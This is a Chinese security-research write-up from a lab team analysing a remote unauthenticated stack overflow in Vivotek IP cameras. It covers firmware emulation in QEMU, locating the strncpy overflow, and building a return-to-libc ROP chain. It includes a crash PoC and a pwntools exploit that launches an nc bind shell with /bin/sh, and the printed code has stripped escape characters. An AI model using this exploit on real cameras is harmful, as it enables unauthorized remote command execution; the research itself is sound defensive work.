Vivotek 摄像头远程栈溢出漏洞分析及利用

作者:fenix@知道创宇404实验室

前言

近日,Vivotek 旗下多款摄像头被曝出远程未授权栈溢出漏洞,攻击者发送特定数据可导致摄像头进程崩溃。

漏洞作者@bashis 放出了可造成摄像头 Crash 的 PoC :https://www.seebug.org/vuldb/ssvid-96866

该漏洞在 Vivotek 的摄像头中广泛存在,按照官方的安全公告,会影响以下版本

CC8160 CC8370-HV CC8371-HV CD8371-HNTV CD8371-HNVF2 FD8166A
FD8166A-N FD8167A FD8167A-S FD8169A FD8169A-S FD816BA-HF2
FD816BA-HT FD816CA-HF2 FD8177-H FD8179-H FD8182-F1 FD8182-F2
FD8182-T FD8366-V FD8367A-V FD8369A-V FD836BA-EHTV FD836BA-EHVF2
FD836BA-HTV FD836BA-HVF2 FD8377-HV FD8379-HV FD8382-ETV FD8382-EVF2
FD8382-TV FD8382-VF2 FD9171-HT FD9181-HT FD9371-EHTV FD9371-HTV
FD9381-EHTV FD9381-HTV FE8182 FE9181-H FE9182-H FE9191
FE9381-EHV FE9382-EHV FE9391-EV IB8360 IB8360-W IB8367A
IB8369A IB836BA-EHF3 IB836BA-EHT IB836BA-HF3 IB836BA-HT IB8377-H
IB8379-H IB8382-EF3 IB8382-ET IB8382-F3 IB8382-T IB9371-EHT
IB9371-HT IB9381-EHT IB9381-HT IP8160 IP8160-W IP8166
IP9171-HP IP9181-H IZ9361-EH MD8563-EHF2 MD8563-EHF4 MD8563-HF2
MD8563-HF4 MD8564-EH MD8565-N SD9161-H SD9361-EHL SD9362-EH
SD9362-EHL SD9363-EHL SD9364-EH SD9364-EHL SD9365-EHL SD9366-EH
SD9366-EHL VS8100-V2

Vivotek 官方提供了各种型号摄像头的固件下载:http://www.vivotek.com/firmware/ ,这也为我们的研究带来了很多便利。

我们发现,漏洞被曝出之后,在官网固件下载页面中的大多数固件均早于漏洞曝出时间,我们下载了几款摄像头的最新固件进行验证,发现漏洞依然存在,这意味着截止漏洞被曝出,Vivotek 官方对该漏洞的修复并不彻底。众所周知,栈溢出是存在潜在的远程命令执行风险的,为了深入了解该漏洞的影响,我们决定研究下该漏洞的原理及利用。

调试环境搭建

固件下载

由于手头上并没有 Vivotek 的摄像头,我们在官网下载其中一款摄像头固件,使用 qemu 模拟运行。(注:官方在陆续发布各个版本的固件更新,可根据固件发布时间判断官方是否已经修复漏洞)

首先下载摄像头固件:http://download.vivotek.com/downloadfile/downloads/firmware/cc8160firmware.zip

通过 binwalk 直接解压出其中的文件系统,和漏洞有关的主要文件如下

根据 file 命令的结果可知目标架构为 ARM、小端、32位。且该 ELF 文件为动态链接。

修复运行依赖

尝试用 qemu 运行,结果如下

服务没有运行起来,且没有明显的报错,猜想到可能是缺少某些依赖,程序直接退出了,扔到 IDA,从程序退出前的提示:gethostbyname:: Success,回溯程序异常退出原因。

依次加载IDA 菜单栏 -> View -> Open subviews -> Strings,Command + F 搜索 gethostname

查看交叉引用信息,定位相应代码段

异常退出部分代码如下

为了看的更直观,我们来贴一下 F5 的结果,如下

这部分主要涉及两个函数。gethostname():返回本地主机的标准主机名,如果函数成功,则返回 0。如果发生错误则返回 -1。gethostbyname():用域名或主机名获取IP地址。

Linux 操作系统的 hostname 是一个 kernel 变量,可以通过 hostname 命令来查看本机的 hostname。也可以直接 cat /proc/sys/kernel/hostname 查看。

我们只需要将二者改成一致,httpd 服务即可成功运行。

调试环境

为了方便调试,还需要搭建 qemu 虚拟机环境。

qemu 镜像文件下载:https://people.debian.org/~aurel32/qemu/armel/ (下载内核 3.2 的版本)

远程调试 gdbserver:https://github.com/mzpqnxow/gdb-static-cross/tree/master/prebuilt-static

qemu 虚拟机建议采用 桥接 方式和主机连接。

#!/bin/bash
sudo tunctl -t tap0 -u `whoami`
sudo ifconfig tap0 192.168.2.1/24
qemu-system-arm -M versatilepb -kernel vmlinuz-3.2.0-4-versatile -initrd initrd.img-3.2.0-4-versatile -hda debian_wheezy_armel_standard.qcow2 -append "root=/dev/sda1"  -net nic -net tap,ifname=tap0,script=no,downscript=no -nographic

启动虚拟机,进行简单配置等待远程调试。

漏洞研究

定位溢出点

以下为漏洞作者 @bashis 提供的 PoC

echo -en "POST /cgi-bin/admin/upgrade.cgi
HTTP/1.0nContent-Length:AAAAAAAAAAAAAAAAAAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIXXXXnrnrn"  | ncat -v 192.168.57.20 80

老套路, 根据 Content-Length 很容易定位到溢出点,如下

惊讶到了,strncpy() 函数的长度参数竟然这么用,妥妥的溢出。

调用栈布局

dest 缓冲区起始地址距离栈底 0x38 字节,栈上依次为 LR、R11-R4。Content-Length 长度超过 0x38 – 4 字节就会覆盖函数的返回地址 LR。

exp 研究

strncpy() 函数引起的栈溢出,在利用时就会有很 egg hurt 的 0x00 坏字符问题,如果我们的输入数据中包含 0x00,将会被截断导致漏洞利用失败。根据溢出点附近的汇编代码来看,0x0a 也会被截断。且开启了 NX 保护,这意味着我们无法在栈上部署 shellcode

尝试通过 return2libc 的方式 getshell。由于没有实际的摄像头,我们不知道目标系统是否开启了 ASLR ,如果 ASLR 是开启的且没有其它可用来暴露 libC 动态链接库内存地址的漏洞,那么利用该漏洞将会是一个很难受的过程。

采用以下方式暂时关闭 ASLR

echo 0 > /proc/sys/kernel/randomize_va_space

libC 库的加载地址如下

接下来就需要精心构造数据,劫持函数的执行流程了。有一点需要注意,X86 架构下的所有参数都是通过堆栈传递的,而在 MIPS 和 ARM 架构中,会优先通过寄存器传递参数,如果参数个数超过了寄存器的数量,则将剩下的参数压入调用参数空间(即堆栈)。

从前面的分析来看,只要我们构造 0x38 – 4 字节以上的数据,栈底的函数返回地址就会被我们劫持。system() 函数地址 = libC 库在内存中的加载基址 + system() 函数在 libC 库中的偏移,通过劫持该地址为 libC 库中的 system() 函数地址,再设置 R0 寄存器指向命令字符串,就可以执行任意命令。

经过验证,nc 命令可以正常使用。

接下来我们开始构造 ROP 利用链,大致思路见以下汇编代码。

Github 上有个很赞的项目:https://github.com/JonathanSalwan/ROPgadget

它可以用来搜索 ELF 文件中的 gadgets,方便我们构造 ROP 链。

我们需要将字符串参数 nc -lp2222 -e/bin/sh 部署到栈上,并且将地址存入 R0。该参数包含 20 个字节,且不含坏字符。

libC 基址为 0xb6f2d000,由该地址可知 gadget 在内存中的有效地址。发生溢出时栈顶地址为 0xbeffeb50

利用 ROPgadget 搜索可用的 gadgets,在选择 gadget 时要还考虑坏字符的问题。比如说如下的 gadget 就不得行。

再搜索一条可用的 gadget,俗称曲线救国。

选择以下两条 gadget,构造 ROP 如下。

# 基于 qemu 模拟环境
# 摄像头型号:Vivotek CC8160
# 0x00048784 : pop {r1, pc}
# 0x00016aa4 : mov r0, r1 ; pop {r4, r5, pc}
#!/usr/bin/python
from pwn import *
libc_base = 0xb6f2d000  # libC 库在内存中的加载地址
stack_base = 0xbeffeb70 # 崩溃时 SP 寄存器的地址
libc_elf = ELF('libuClibc-0.9.33.3-git.so')
payload = (0x38 - 4) * 'a' # padding
payload +=  p32(0x00048784 + libc_base) # gadget1
payload += p32(0x80 + stack_base) # 栈中命令参数地址
payload += p32(0x00016aa4 + libc_base) # gadget2
payload += (0x8 * 'a')  # padding
payload += p32(libc_elf.symbols['system'] + libc_base) # 内存中 system() 函数地址
payload += ('pwd;' * 0x100 + 'ncx20-lp2222x20-e/bin/shx20>') # 命令参数
payload = 'echo -en "POST /cgi-bin/admin/upgrade.cgi nHTTP/1.0nContent-Length:{}nrnrn"  | nc -v 192.168.2.2 80'.format(payload)

通过调试 ,我们可以获得崩溃时的栈顶地址,为了确保命令能执行,我们在真正要执行的命令前加了部分命令作为缓冲。

可以看到,开启了 NX 保护的栈上虽然不可执行代码,但是依然可以在上面部署数据。我们只需要将要执行的命令部署到栈上,构造 ROP 让 R0 寄存器指向栈上的命令所在区域,然后 return2libC 调用系统函数,就可以执行任意命令了。

已将 PoC 和 EXP 整理成 Pocsuite 脚本:https://www.seebug.org/vuldb/ssvid-96866,验证效果如下。

致谢

第一次接触 ARM 汇编,有很多不足之处,欢迎各大佬指正。中途踩了不少坑,感谢 404 小伙伴 @Hcamael 和 @没有ID 的各种疑难解答。

参考链接